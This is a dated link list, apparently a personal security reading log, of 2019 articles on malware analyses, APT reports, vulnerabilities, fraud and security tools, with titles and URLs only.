- 5.16 [影响所有苹果设备的无线漏洞,可被强行接入恶意热点](https://www.freebuf.com/vuls/203484.html)
- 5.19 [完美替身?让我们一起看一看骗子绕过反欺诈保护的最新方法](https://www.freebuf.com/articles/network/203146.html)
- 5.20 [智能摄像头安全分析及案例参考](https://www.freebuf.com/articles/terminal/203311.html)
- 5.21 [超过一百个漏洞将三万门禁数据暴露给黑客](https://www.freebuf.com/articles/wireless/203551.html)
- 5.22 [披荆斩棘:论百万级服务器反入侵场景的混沌工程实践](https://www.freebuf.com/articles/database/203605.html)
- 5.22 [APP漏洞利用组合拳——应用克隆案例分析](http://blog.nsfocus.net/app-vulnerability-exploitation-combination-boxing/)
- 5.22 [骚扰电话“蜕变”史:从虚拟号、碰瓷客服短号到隐号来袭](http://www.ijiandao.com/2b/baijia/266143.html)
- 5.22 [腾讯车联网战略再升级,王牌车载微信下半年上车](http://www.geekcar.com/archives/96934)
- 5.23 [鱼叉攻击-尝试](https://www.secpulse.com/archives/106243.html)
- 5.23 [NovaLoader:一款针对巴西银行的恶意软件家族](https://www.freebuf.com/articles/web/203540.html)
- 5.23 [详细分析一款移动端浏览器安全性](https://www.anquanke.com/post/id/179080)
- 5.23 [打造一款伪基站防御利器(一)](https://www.freebuf.com/articles/wireless/202232.html)
- 5.24 [整理网络安全措施的5个小技巧](https://www.freebuf.com/news/203807.html)
- 5.25 [某工控4G路由器存在大量弱口令](https://www.freebuf.com/articles/ics-articles/203802.html)
- 5.27 [MalConfScan:从已知的恶意软件家族中提取配置信息](https://www.freebuf.com/sectool/203732.html)
- 5.27 [移动应用安全基础篇——解密iOS加密数据](https://www.anquanke.com/post/id/179261)
- 5.27 [某HR业务网站逻辑漏洞挖掘案例以及POC编写思路分享](https://www.freebuf.com/articles/web/201438.html)
- 5.28 [权威调查:100款常用App申请收集使用个人信息权限情况](https://www.freebuf.com/news/204575.html)
- 5.29 [准备交赎金?当心Phobos勒索病毒二次加密!](https://www.freebuf.com/articles/system/204323.html)
- 5.29 [Superl-url:一款开源关键词URL采集工具](https://www.freebuf.com/sectool/203724.html)
- 5.30 [【反欺诈场景剖析】虚假账号的产生和流转](https://www.secpulse.com/archives/106587.html)
- 5.30 [iOS(十五)几种App砸壳工具对比](http://www.gandalf.site/2019/05/iosapp.html)
- 5.31 [Influxdb 认证绕过漏洞预警](https://www.anquanke.com/post/id/179674)
- 5.31 [Nokelock:一款千疮百孔的蓝牙挂锁](https://www.anquanke.com/post/id/179614)
- 5.31 [浅谈摄像头有关的网络安全](https://www.secpulse.com/archives/106712.html)
- 5.31 [安全应用程序审核 -- Lionmobi](https://blog.trustlook.com/an-quan-ying-yong-cheng-xu-shen-he-lionmobi/)
- 0x05
- 6.1 [PacBot:一款功能强大的云平台自动化安全监控工具](https://www.freebuf.com/sectool/203860.html)
- 6.1 [MS08-067漏洞原理及详尽分析过程](https://www.freebuf.com/vuls/203881.html)
- 6.2 [关于海莲花组织针对移动设备攻击的分析报告](https://www.freebuf.com/articles/terminal/204573.html)
- 6.3 [外媒:在俄罗斯通过暗网黑市购买个人数据已变得非常容易](http://hackernews.cc/archives/25838)
- 6.3 [Google 的 Project Zero 团队成功黑掉 Windows 记事本](http://hackernews.cc/archives/25824)
- 6.4 [浅析浏览器安全](https://www.secpulse.com/archives/106906.html)
- 6.4 [安天“antia方程式组织”攻击SWIFT服务提供商EastNets事件复盘分析报告](https://www.secpulse.com/archives/106857.html)
- 6.4 [反欺诈场景剖析丨虚假账号的产生和流转](https://www.freebuf.com/articles/network/204751.html)
- 6.5 [New adware "BeiTaAd" found hidden within popular applications in app store](https://blog.lookout.com/beitaplugin-adware)
- 6.5 [银钩:针对国内网银用户的钓鱼的攻击活动](https://www.anquanke.com/post/id/179908)
- 6.5 [黑产在IP攻防上的挣扎与进化](https://www.anquanke.com/post/id/179875)
- 6.6 [从通信流量日志看Gafgyt僵尸网络趋势](http://blog.nsfocus.net/trend-gafgyt-botnet-communication-traffic-log/)
- 6.6 [一起僵尸网络进行大规模DDoS攻击的样本分析](https://www.freebuf.com/articles/terminal/204444.html)
- 6.6 [比特币交易追踪溯源技术介绍](https://www.freebuf.com/articles/blockchain-articles/203127.html)
- 6.8 [浅谈摄像头有关的安全问题](https://www.freebuf.com/articles/network/204989.html)
- 6.10 [2019年第一季度DDoS攻击报告](https://www.freebuf.com/articles/paper/205060.html)
- 6.10 [中国公布规定限制手机 APP 读取通讯录](https://www.solidot.org/story?sid=60932)
- 6.11 [DEX保护之指令抽取](https://www.freebuf.com/articles/terminal/205079.html)
- 6.12 [开源僵尸网络平台LiteHttp源码分析](https://www.freebuf.com/articles/system/205146.html)
- 6.12 [安卓勒索软件探究](https://blog.trustlook.com/an-zhuo-le-suo-ruan-jian-tan-jiu/)
- 6.13 [安全分析中的威胁情报(一)](https://www.anquanke.com/post/id/180183)
- 6.13 [反洗钱不力,银行遭遇央行15亿天价罚单](https://www.freebuf.com/articles/database/205386.html)
- 6.13 [Android平台战场:2019年上半年安全事件总结分析](https://www.freebuf.com/articles/terminal/205274.html)
- 6.13 [鸟哥谈云安全系列-AWS安全月度总结(5月)](https://www.sec-un.org/%e9%b8%9f%e5%93%a5%e8%b0%88%e4%ba%91%e5%ae%89%e5%85%a8%e7%b3%bb%e5%88%97-aws%e5%ae%89%e5%85%a8%e6%9c%88%e5%ba%a6%e6%80%bb%e7%bb%93%ef%bc%885%e6%9c%88%ef%bc%89/)
- 6.13 [一直活跃的linux下的rootkit分析](https://www.sec-un.org/%e4%b8%80%e7%9b%b4%e6%b4%bb%e8%b7%83%e7%9a%84linux%e4%b8%8b%e7%9a%84rootkit%e5%88%86%e6%9e%90/)
- 6.14 [星援App流量造假的背后:一场大型数据活埋](https://www.pingwest.com/a/189603)
- 6.14 [智能输液系统可能致命?黑客可以利用漏洞远程控制输注速度](https://www.anquanke.com/post/id/180357)
- 6.14 [火绒安全警报:感染型病毒通过淘宝店传播 窃取用户上网信息](https://www.secpulse.com/archives/107400.html)
- 6.14 [Emotet恶意软件深入分析](https://www.anquanke.com/post/id/180156)
- 6.15 [黑客利用SSH弱密码攻击控制Linux服务器,潜在目标约十万IP天](https://www.freebuf.com/articles/system/205384.html)
- 6.16 [FakeMsdMiner挖矿病毒分析报告](https://www.freebuf.com/articles/terminal/205356.html)
- 6.19 [“方程式组织”攻击中东SWIFT服务商事件复盘分析报告](https://www.freebuf.com/articles/paper/205080.html)
- 6.19 [Dota威胁活动:挖矿&后门二重奏](https://www.anquanke.com/post/id/180557)
- 6.20 [群控进化史,黑产攻击效率提升带来的防守困境](https://www.anquanke.com/post/id/180650)
- 6.21 [iOS(十六)一次通过lldb绕过越狱检测&反反调试实践](http://www.gandalf.site/2019/06/ioslldb.html)
- 6.21 [捆绑激活工具的恶意插件预警](https://www.freebuf.com/articles/terminal/205856.html)
- 6.21 [警惕:大学社团“拉赞助”成为个人隐私泄露的重灾区](https://www.secrss.com/articles/11418)
- 6.24 [Linux.Ngioweb分析报告](https://www.anquanke.com/post/id/180885)
- 6.25 [APT组织污水(MuddyWater)新武器MuddyC3代码泄露与分析](https://www.anquanke.com/post/id/181000)
- 6.25 [Web攻击检测机器学习深度实践](https://www.freebuf.com/articles/web/205760.html)
- 6.26 [针对越南APT攻击样本深度分析](https://www.freebuf.com/articles/network/206042.html)
- 6.26 [企业威胁情报平台建设之暗网监控](https://www.freebuf.com/articles/es/206408.html)
- 6.26 [macOS门禁功能爆出安全漏洞:可安装恶意程序](http://hackernews.cc/archives/26084)
- 6.27 [海莲花组织使用新技术手段攻击越南某环保组织](https://www.freebuf.com/articles/system/206467.html)
- 6.27 [跟踪 Android 供应链攻击](https://www.solidot.org/story?sid=61139)
- 6.27 [威胁情报从哪儿来,你知道吗?](https://www.anquanke.com/post/id/181083)
- 6.28 [黑吃黑:揭秘狗推团伙利用裸贷照片等诱惑性手段的攻击活动](https://www.anquanke.com/post/id/181149)
- 6.28 [Excel 曝出 Power Query 安全漏洞 1.2 亿用户易受远程 DDE 攻击](http://hackernews.cc/archives/26110)
- 6.28 [利用Firefox 0day传播的macOS恶意软件(Part 1)](https://www.anquanke.com/post/id/181074)
- 6.28 [“杀猪盘”骗局突然泛滥,一亿单身女性成“待宰羔羊”!](http://www.ijiandao.com/2b/baijia/286701.html)
- 6.28 [Locked勒索病毒出山,大肆攻击国内企业](https://www.freebuf.com/articles/network/206961.html)
- 6.28 [如何黑掉EA游戏的所有游戏用户账号](https://www.anquanke.com/post/id/181097)
- 6.29 [“寄生兽”(DarkHotel)针对中国外贸人士的最新攻击活动披露](https://www.freebuf.com/articles/system/206743.html)
- 0x06
- 7.1 [检测工控设备SNMP漏洞工具:SNMP Fuzzer](https://www.freebuf.com/sectool/206417.html)
- 7.2 [恶意软件加载器通过“天堂之门”技术规避安全检测](https://www.freebuf.com/news/207403.html)
- 7.3 [揭密黑产“暴力勒索、毁尸灭迹”运作一条龙](https://www.freebuf.com/articles/terminal/207260.html)
- 7.3 [Cloudflare 因自己软件的问题导致宕机事故](https://www.solidot.org/story?sid=61217)
- 7.3 [甩卖点券、倒卖资源、唱双簧……我如何打击这些“游戏黑产”?](http://www.ijiandao.com/2b/baijia/289352.html)
- 7.3 [Donot团伙(APT-C-35)移动端新攻击框架工具分析](https://www.anquanke.com/post/id/181483)
- 7.4 [腾讯御见监测到“萝莉帮”跨平台僵尸网络,可发起 DDoS 攻击](http://hackernews.cc/archives/26186)
- 7.4 [Fake Samsung firmware update app tricks more than 10 million Android users](https://www.zdnet.com/article/fake-samsung-firmware-update-app-tricks-more-than-10-million-android-users/)
- 7.4 [基于E-Mail的隐蔽控制:机理与防御](https://www.freebuf.com/articles/network/207379.html)
- 7.5 [欺骗技术入门:13款开源工具分享](https://www.freebuf.com/sectool/207121.html)
- 7.5 [无文件挖矿应急响应处置报告](https://www.freebuf.com/articles/system/206611.html)
- 7.5 [黑客组织 TA505 正在垃圾邮件活动中使用新的恶意软件 Gelup 和 FlowerPippi](http://hackernews.cc/archives/26233)
- 7.6 [浅谈字体反爬虫的一些思路](https://www.freebuf.com/articles/web/206966.html)
- 7.8 [安全扫描调度系统实践](https://www.freebuf.com/articles/es/206855.html)
- 7.8 [借贷软件变脸绕过应用市场审核](https://www.anquanke.com/post/id/181626)
- 7.9 [“桃色陷阱”——网络色情软件揭秘](https://www.anquanke.com/post/id/181708)
- 7.9 [的黎波里行动:一次针对性的政治性社工行动](https://www.anquanke.com/post/id/181671)
- 7.9 [揭秘“支付木马”:巨额黑产背后的操盘手](https://www.anquanke.com/post/id/181666)
- 7.9 [Zoom 安全漏洞被指可以让网站劫持 Mac 摄像头](http://hackernews.cc/archives/26287)
- 7.10 [防追踪溯源识别联网工控设备的方法](https://www.freebuf.com/articles/ics-articles/206856.html)
- 7.10 [通过ARP流量绕过杀毒软件传输后门payload](https://www.anquanke.com/post/id/181737)
- 7.10 [“Agent Smith”: The New Virus to Hit Mobile Devices](https://blog.checkpoint.com/2019/07/10/agent-smith-android-malware-mobile-phone-hack-virus-google/)
7.11 [2500 万 Android 设备被“Agent Smith”恶意软件感染](http://hackernews.cc/archives/26304)
- 7.10 [New FinSpy iOS and Android implants revealed ITW](https://securelist.com/new-finspy-ios-and-android-implants-revealed-itw/91685/)
7.11 [FinSpy — commercial spyware](https://www.kaspersky.com/blog/finspy-commercial-spyware/27606/)
- 7.11 [首例发生在巴西的仿冒WannaCry恶意软件](https://www.freebuf.com/articles/terminal/207486.html)
- 7.11 [APT34核心组件Glimpse:远控复现与流量分析](https://www.freebuf.com/articles/database/207469.html)
- 7.11 [超3300万个邮箱密码泄露,一大波勒索邮件攻击正在到来](http://hackernews.cc/archives/26309)
- 7.11 [网络安全学习方法论之体系的重要性](https://www.secpulse.com/archives/109182.html)
- 7.12 [iOS URL Scheme Susceptible to Hijacking](https://blog.trendmicro.com/trendlabs-security-intelligence/ios-url-scheme-susceptible-to-hijacking/)
7.15 [iOS URL Scheme安全性研究](https://www.anquanke.com/post/id/181943)
- 7.12 [深度揭秘移动黑产是如何通过插件化技术谋取利益](https://blog.trustlook.com/hei-chan-li-qi-an-zhuo-duo-kai/)
- 7.12 [感染数万设备!警惕ZombieBoy挖矿木马“丧尸式”传播](https://www.secpulse.com/archives/109113.html)
- 7.12 [2019年上半年Web应用安全报告](https://www.secpulse.com/archives/109268.html)
- 7.12 [Buhtrap 黑客组织使用微软零日漏洞进行间谍行动](http://hackernews.cc/archives/26398)
- 7.13 [2019上半年恶意挖矿趋势报告](https://www.freebuf.com/articles/paper/208175.html)
- 7.14 [Miteru:实验性网络钓鱼工具包检测工具](https://www.freebuf.com/sectool/207561.html)
- 7.14 [Globelmposter勒索病毒最新变种预警:从“十二生肖”到“十二主神”](https://www.freebuf.com/articles/system/207884.html)
- 7.14 [全球高级持续性威胁(APT)2019年中报告](https://www.freebuf.com/articles/system/207605.html)
- 7.15 [企业安全体系架构分析:开发安全架构之安全性架构](https://www.freebuf.com/articles/es/206860.html)
- 7.15 [Payment Fraud: Criminals Enroll Stolen Cards on Apple Pay](https://www.bankinfosecurity.com/payment-fraud-criminals-enroll-stolen-cards-on-apple-pay-a-12779)
- 7.16 [Linux平台ibus蠕虫C&C模块源码分析](https://www.secpulse.com/archives/109440.html)
- 7.16 [卡巴斯基2019年Q1垃圾邮件与钓鱼攻击统计分析](https://www.freebuf.com/articles/network/207749.html)
- 7.16 [iOS 13 和 iPadOS 爆安全漏洞:解锁状态下可访问用户名和密码](http://hackernews.cc/archives/26441)
- 7.18 [Android出现新漏洞,可在无权限的情况下利用传感器获取语音信息](https://www.freebuf.com/news/208700.html)
- 7.18 [基于DoH的隐蔽通信的机理与防御](https://www.freebuf.com/articles/database/207891.html)
- 7.18 [Malicious Python packages found on PyPI](https://www.helpnetsecurity.com/2019/07/18/malicious-python-packages/)
- 7.18 [2019上半年Web应用安全报告:90%以上攻击流量来源于扫描器](https://www.freebuf.com/articles/web/208400.html)
- 7.19 [关于远控木马你应该了解的知识点](https://www.freebuf.com/articles/system/207643.html)
- 7.19 [New Malware Frame Cashing in on Ad Fraud](https://www.infosecurity-magazine.com/news/new-malware-frame-cashing-in-on-ad/)
- 7.19 [SWEED组织:恶意软件Agent Tesla行为演变研究分析](https://www.anquanke.com/post/id/182201)
- 7.19 [Android Native病毒来势汹涌 Q2感染量达257万](https://www.anquanke.com/post/id/182300)
- 7.19 [商务电子邮件泄密事件频发 平均每月损失 3 亿美元](http://hackernews.cc/archives/26499)
- 7.19 [Old Tools for New Money: URL Spreading Shellbot and XMRig Using 17-year old XHide](https://blog.trendmicro.com/trendlabs-security-intelligence/old-tools-for-new-money-url-spreading-shellbot-and-xmrig-using-17-year-old-xhide/)
- 7.19 [Old Tools for New Money: URL Spreading Shellbot and XMRig Using 17-year-old XHide](https://blog.trendmicro.com/trendlabs-security-intelligence/old-tools-for-new-money-url-spreading-shellbot-and-xmrig-using-17-year-old-xhide/)
- 7.21 [老裁缝、独狼病毒家族再度活跃,唯心木马很违心](https://www.freebuf.com/articles/system/208186.html)
- 7.22 [企业安全体系架构分析:开发安全架构之防CC攻击脚本编写](https://www.freebuf.com/articles/web/207491.html)
- 7.22 [央视网黄乐:媒体行业风险管理体系设计与实现](https://www.freebuf.com/articles/people/208819.html)
- 7.22 [以色列间谍软件声称击败了苹果 iCloud 的安全保护措施](http://hackernews.cc/archives/26509)
- 7.22 [Adware-Packed Fake Apps Still Making Their Way to Google Play](https://labs.bitdefender.com/2019/07/adware-packed-fake-apps-still-making-their-way-to-google-play/)
- 7.23 [Apple Watch对讲机APP曝出窃听漏洞](http://www.ijiandao.com/safe/it/302776.html)
- 7.23 [微信大战黑灰产](http://www.ijiandao.com/2b/baijia/302589.html)
- 7.23 [狡猾的恶意代码:浅谈反插桩技术](https://www.anquanke.com/post/id/182034)
- 7.23 [分析一款远控木马的通讯机制](https://www.anquanke.com/post/id/182122)
- 7.23 [挖洞经验 | 影响400多万Mac系统的Zoom视频会议软件漏洞](https://www.freebuf.com/vuls/208158.html)
- 7.24 [反混淆神器!CyberChef助你秒解混淆脚本](https://www.secpulse.com/archives/109912.html)
- 7.24 [Gaza Cybergang在移动端对阿拉伯语地区的攻击事件](https://www.secpulse.com/archives/109824.html)
- 7.24 [攻击组织代号Cold River:通过NTA对恶意程序的深度分析](https://www.freebuf.com/articles/web/208726.html)
- 7.24 [企业安全体系架构分析:开发安全架构之综合架构](https://www.freebuf.com/articles/es/207328.html)
- 7.25 [感染数万设备!警惕ZombieBoy挖矿木马“丧尸式”传播](https://www.freebuf.com/articles/system/208049.html)
- 7.25 [利用DNS隧道构建隐蔽C&C信道](https://www.freebuf.com/articles/network/208242.html)
- 7.25 [流媒体服务遭受 IoT 僵尸网络 13 天的 DDoS 攻击](http://hackernews.cc/archives/26616)
- 7.25 [Lookout 研究发现:功能强大的 Monokle 恶意软件或产自俄罗斯](http://hackernews.cc/archives/26611)
- 7.25 [The Unsexy Threat to Election Security](https://krebsonsecurity.com/2019/07/the-unsexy-threat-to-election-security/)
- 7.26 [挖洞经验丨看我如何突破速率限制拿下任意Instagram账户](https://www.freebuf.com/vuls/208369.html)
- 7.26 [报告显示 2019 年上半年已有超过 2300 万张信用卡信息在暗网上出售](http://hackernews.cc/archives/26625)
- 7.27 [Trickbot银行木马下发Ryuk勒索病毒企业损失惨重](https://www.freebuf.com/articles/system/208537.html)
- 7.31 [全球高级持续性威胁(APT)2019年上半年研究报告](https://www.freebuf.com/articles/paper/208811.html)
- 0x07
- 8.1 [New Mirai botnet hides C2 server in the Tor network to prevent takedowns](https://securityaffairs.co/wordpress/89237/malware/mirai-botnet-tor-c2.html)
- 8.1 [iPhone蓝牙流量被指在某些情况下泄露用户电话号码](https://www.freebuf.com/news/210097.html)
- 8.1 [2019健康医疗行业网络安全观测报告](https://www.anquanke.com/post/id/183227)
- 8.1 [疑似TA555针对乌克兰国家边防卫队的最新攻击活动分析](https://www.anquanke.com/post/id/183215)
- 8.2 [看我如何用SHerlock跨社交网络查找你的用户名](https://www.freebuf.com/articles/network/209254.html)
- 8.2 [一些Fiberhome路由器正在被利用为SSH隧道代理节点](https://blog.netlab.360.com/some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes/)
- 8.2 [2019年上半年网络安全态势报告](https://www.secpulse.com/archives/110146.html)
- 8.2 [灰色产业链成病毒传播最大渠道,流量生意或迎来最后的疯狂](https://www.freebuf.com/articles/database/208658.html)
- 8.2 [APT之迂回渗透](https://www.freebuf.com/articles/network/202497.html)
- 8.4 [CHM木马的分析与利用](https://www.freebuf.com/articles/network/208897.html)
- 8.4 [挖洞经验 | 开裂的挡风玻璃让我获得了特斯拉$10,000的漏洞赏金](https://www.freebuf.com/vuls/208920.html)
- 8.5 [企业安全体系架构分析:开发安全架构之可用性架构深入讲解](https://www.freebuf.com/articles/es/207831.html)
- 8.6 [捆绑后门的艺术–CobaltStrike backdoor分析](https://www.secpulse.com/archives/110317.html)
- 8.6 [安卓更新痛点 假冒三星“更新应用”欺骗千万安卓用户](https://www.anquanke.com/post/id/183381)
- 8.6 [工控资产嗅探与分析实践](https://www.freebuf.com/articles/ics-articles/209786.html)
- 8.8 [APT15组织研究白皮书](https://www.freebuf.com/articles/network/209524.html)
- 8.8 [研究称广告产生的收入比挖矿脚本高得多](https://www.solidot.org/story?sid=61654)
- 8.8 [揭示骚扰电话产业链](https://www.solidot.org/story?sid=61652)
- 8.8 [只需发送一条短信 黑客就能成功入侵你的 iPhone](http://hackernews.cc/archives/26860)
- 8.8 [New strain of Clipsa malware launches brute-force attacks on WordPress sites](https://securityaffairs.co/wordpress/89612/malware/clipsa-malware.html)
- 8.9 [那些总是想要和别人强行发生关系的僵尸网络之Emptiness](https://blog.netlab.360.com/emptiness-botnet/)
- 8.9 [ATT&CK之后门持久化](https://www.anquanke.com/post/id/183831)
- 8.10 [HTTPS劫持研究](https://www.freebuf.com/articles/network/210027.html)
- 8.12 [Gozi银行木马再现,针对高新制造业、进出口企业的“鱼叉式攻击”](https://www.freebuf.com/articles/system/209854.html)
- 8.12 [大数据时代下的数据安全:相关法规、场景技术以及实践体系](http://blog.nsfocus.net/datasecurity_under_bigdata/)
- 8.12 [Pown-Duct:一款功能强大的盲注攻击检测工具](https://www.freebuf.com/sectool/209584.html)
- 8.13 [WebLogic安全研究报告](https://www.anquanke.com/post/id/184068)
- 8.13 [对某单位的 APT 攻击样本分析](https://www.anquanke.com/post/id/184063)
- 8.13 [手机App竟然能让头发拉直器起火?](https://www.freebuf.com/articles/terminal/209604.html)
- 8.13 [佳能单反相机被曝存在漏洞,可远程安装勒索软件](https://www.freebuf.com/news/211171.html)
- 8.13 [Invoice钓鱼邮件姿势多,进出口企业机密信息易泄漏](https://www.freebuf.com/articles/system/210012.html)
- 8.14 [新型JSNEMUCOD病毒样本分析报告](https://www.freebuf.com/articles/terminal/209769.html)
- 8.14 [浅谈MSF渗透测试](https://www.freebuf.com/news/210292.html)
- 8.15 [2019上半年网络安全应急响应分析报告](https://www.freebuf.com/articles/paper/210447.html)
- 8.15 [Analysis: New Remcos RAT Arrives Via Phishing Email](https://blog.trendmicro.com/trendlabs-security-intelligence/analysis-new-remcos-rat-arrives-via-phishing-email/)
- 8.16 [Adware Posing as 85 Photography and Gaming Apps on Google Play Installed Over 8 Million Times](https://blog.trendmicro.com/trendlabs-security-intelligence/adware-posing-as-85-photography-and-gaming-apps-on-google-play-installed-over-8-million-times/)
- 8.16 [等保2.0标准要求下云计算安全与风险评估探究](http://blog.nsfocus.net/%e7%ad%89%e4%bf%9d2-0%e6%a0%87%e5%87%86%e8%a6%81%e6%b1%82%e4%b8%8b%e4%ba%91%e8%ae%a1%e7%ae%97%e5%ae%89%e5%85%a8%e4%b8%8e%e9%a3%8e%e9%99%a9%e8%af%84%e4%bc%b0%e6%8e%a2%e7%a9%b6/)
- 8.17 [基于DNS隐蔽信道的攻击与检测](https://www.freebuf.com/articles/database/210250.html)
- 8.18 [挖洞经验 | 劫持任意Paypal企业账户子账户实现未授权转账操作($10K)](https://www.freebuf.com/vuls/210669.html)
- 8.18 [Shade活跃,中国将成为下一个受害者?](https://www.freebuf.com/articles/system/210577.html)
- 8.19 [利用ICMP进行命令控制和隧道传输](https://www.freebuf.com/sectool/210450.html)
- 8.20 [从ATT&CK看威胁情报的发展和应用趋势](https://www.sec-un.org/%e4%bb%8eattck%e7%9c%8b%e5%a8%81%e8%83%81%e6%83%85%e6%8a%a5%e7%9a%84%e5%8f%91%e5%b1%95%e5%92%8c%e5%ba%94%e7%94%a8%e8%b6%8b%e5%8a%bf/)
- 8.21 [全程带阻:记一次授权网络攻防演练(上)](https://www.freebuf.com/vuls/211842.html)
- 8.22 [激光窃听检测与防护方法](https://www.secrss.com/articles/12992)
- 8.26 [“暗度陈仓”病毒分析报告](https://www.freebuf.com/articles/network/210551.html)
- 8.27 [ATT&CK之后门持久化](https://www.freebuf.com/articles/system/210910.html)
- 8.27 [QEMU 虚拟机逃逸漏洞分析与利用(CVE-2019-14378)](https://www.anquanke.com/post/id/184949)
- 8.27 [摩诃草团伙利用公用平台分发C&C配置攻击活动揭露](https://www.anquanke.com/post/id/185147)
- 8.27 [KCon议题解析 | 美团安全分享APT检测设备的扩展研究](https://www.anquanke.com/post/id/185101)
- 8.27 [所有 Instagram 用户都存在新型钓鱼网络威胁](http://hackernews.cc/archives/27139)
- 8.28 [基于知识图谱的自动化渗透设计与实现](https://www.anquanke.com/post/id/185135)
- 8.28 [ARP欺骗常见姿势及多机ARP欺骗](https://www.freebuf.com/articles/network/207238.html)
- 8.28 [金山毒霸“不请自来” 背后竟有黑产推波助澜](https://www.secpulse.com/archives/111435.html)
- 8.28 [下载量超过一亿的流行应用被发现含有恶意模块](https://www.solidot.org/story?sid=61879)
- 8.28 [利用 ssh 隧道反弹 shell](https://paper.seebug.org/1022/)
- 8.29 [干货!KCon 2019 议题 PPT 公开](https://paper.seebug.org/1023/)
- 8.29 [Objection:一款运行时移动设备漏洞利用工具](https://www.freebuf.com/sectool/211869.html)
- 8.29 [如何获得PowerShell命令的历史记录](https://www.freebuf.com/articles/network/210932.html)
- 8.29 [实战某游戏厂商FPS游戏CRC检测的对抗与防护](https://www.freebuf.com/articles/system/210304.html)
- 8.29 [New Android Fraud Warning: 1.5M Users Forced To Click Ads](https://www.forbes.com/sites/thomasbrewster/2019/08/29/another-android-fraud-warning-15-million-users-are-being-forced-to-click-app-ads/)
- 8.30 [勒索软件攻击影响了美国数百家牙科诊所](http://hackernews.cc/archives/27184)
- 8.30 [针对某区块链数字加密币交易平台的定向攻击](https://paper.seebug.org/1027/)
- 8.30 [使用Google进行批量SQL注入扫描](https://www.freebuf.com/articles/web/210651.html)
- 8.31 [移动勒索软件“又双叒叕”来了](https://www.freebuf.com/articles/terminal/210081.html)
- 0x08
- 9.2 [对某单位的APT攻击样本分析](https://www.freebuf.com/articles/security-management/211330.html)
- 9.2 [Gorgon APT组织再做文章:DropBox到NJRat的曲折历程](https://www.anquanke.com/post/id/185566)
- 9.2 [实战化ATT&CK™](https://www.anquanke.com/post/id/185492)
- 9.3 [WannaMine挖矿木马再活跃,14万台linux系统受攻击广东省为重灾区](https://www.freebuf.com/articles/network/212166.html)
- 9.3 [Kaspersky: Malware Found Hiding in Popular Android App](https://www.bankinfosecurity.com/kaspersky-malware-found-hiding-in-popular-android-app-a-13008)
- 9.3 [HiddenEye:带有高级功能的现代钓鱼工具](https://www.freebuf.com/sectool/212130.html)
- 9.3 [默安科技云舒:十五年后,重谈安全开发体系](https://www.freebuf.com/articles/es/213118.html)
- 9.5 [日活百万级病毒“DropperNecro”分析报告](https://www.freebuf.com/articles/terminal/213324.html)
- 9.5 [Dwarf:一款基于Pyqt5和Frida的逆向分析调试工具](https://www.freebuf.com/sectool/212123.html)
- 9.5 [浅谈ARP欺骗的实现与防御](https://www.freebuf.com/articles/network/210852.html)
- 9.5 [教你如何搭建威胁情报库](https://www.freebuf.com/articles/network/210451.html)
- 9.6 [Advanced SMS Phishing Attacks Against Modern Android-based Smartphones - Check Point Research](https://research.checkpoint.com/advanced-sms-phishing-attacks-against-modern-android-based-smartphones/)
- 9.6 [针对Android的高级SMS钓鱼技术研究](https://www.anquanke.com/post/id/185912)
- 9.6 [瞒天过海:某APT组织利用鱼叉邮件渗透多个行业窃取敏感数据](https://www.secpulse.com/archives/111999.html)
- 9.7 [一例信息窃取木马分析报告](https://www.freebuf.com/articles/network/211875.html)
- 9.8 [TWINT:一款Twitter信息爬取工具](https://www.freebuf.com/sectool/212601.html)
- 9.9 [揭秘地下黑客论坛最流行的恶意软件和黑客工具](https://www.freebuf.com/articles/system/213765.html)
- 9.9 [黑客通过伪造 PayPal 网站传播勒索软件](http://hackernews.cc/archives/27284)
- 9.10 [Donot APT组织(肚脑虫)伪装克什米尔新闻APP的攻击活动分析](https://www.anquanke.com/post/id/186254)
- 9.10 [GandCrab(甘地蟹)v2.0勒索病毒分析学习](https://www.secpulse.com/archives/112170.html)
- 9.10 [移动基带安全研究系列之一 :概念和系统篇](https://www.freebuf.com/articles/terminal/213807.html)
- 9.10 [如何开展电力行业的安全检查评估](https://www.freebuf.com/articles/ics-articles/212503.html)
- 9.11 [境外APT 组织“响尾蛇”对我国发起攻击事件报告](https://www.freebuf.com/articles/paper/213799.html)
- 9.12 [2019上半年企业安全总结](https://www.freebuf.com/articles/es/211633.html)
- 9.12 [继续聊聊梦里的那点事儿(下)](https://www.freebuf.com/articles/web/214076.html)
- 9.13 [对APT34泄露工具的分析:HighShell和HyperShell](https://www.freebuf.com/sectool/210860.html)
- 9.13 [间谍软件潜入Google Play](https://www.freebuf.com/articles/network/212668.html)
- 9.14 [一款漏洞验证框架的构思](https://www.freebuf.com/sectool/212700.html)
- 9.14 [挖洞经验 | 利用Device ID实现对任意Instagram账户的再次劫持](https://www.freebuf.com/vuls/212631.html)
- 9.15 [渗透经验 | 我们是如何发现对欧洲政府的攻击的](https://www.freebuf.com/articles/network/212648.html)
- 9.15 [从赎金角度看勒索病毒的演变](https://www.freebuf.com/news/212952.html)
- 9.15 [駭客利用 SIM 卡漏洞來追蹤人們位置至少 2 年](https://chinese.engadget.com/2019/09/15/simjacker-attack/)
- 9.16 [黑客利用“Simjacker”漏洞窃取手机数据 或影响 10 亿人](http://hackernews.cc/archives/27452)
- 9.17 [黑客购买新型WSH RAT最新变种样本,攻击银行客户](https://www.freebuf.com/articles/system/214269.html)
- 9.17 [通过“热补丁”执行恶意代码实例分析](https://www.freebuf.com/articles/others-articles/213520.html)
- 9.17 [从剖析攻击面出发——2019上半年海莲花组织主要攻击事件总结](http://blog.nsfocus.net/summary-major-attack-events-apt32-tissue-2019/)
- 9.17 [新注册域名恶意行为分析](https://www.freebuf.com/articles/network/212792.html)
- 9.17 [惠普打印机被发现偷偷回传数据:隐藏极深](http://hackernews.cc/archives/27463)
- 9.18 [一种基于欺骗防御的入侵检测技术研究](https://www.freebuf.com/articles/es/213630.html)
- 9.18 [Torchwood远控木马“鱼目混珠” 远控木马新一轮“白加黑”攻击](https://www.anquanke.com/post/id/186768)
- 9.18 [新型盗刷手段并不新,现在丢钱都不敢丢手机了](https://www.freebuf.com/articles/neopoints/214647.html)
- 9.18 [BlueKeep 漏洞利用分析](https://paper.seebug.org/1035/)
- 9.18 [巴尔干半岛上的双重网络攻击分析](https://www.freebuf.com/articles/network/212571.html)
- 9.18 [后起之秀:Gorgon APT黑客组织觊觎虚拟货币钱包](https://www.secpulse.com/archives/112715.html)
- 9.19 [Donot APT组织(肚脑虫)伪装克什米尔新闻APP的攻击活动分析](https://www.freebuf.com/articles/terminal/213962.html)
- 9.19 [仅一条短信就可以劫持你的手机](https://www.anquanke.com/post/id/186995)
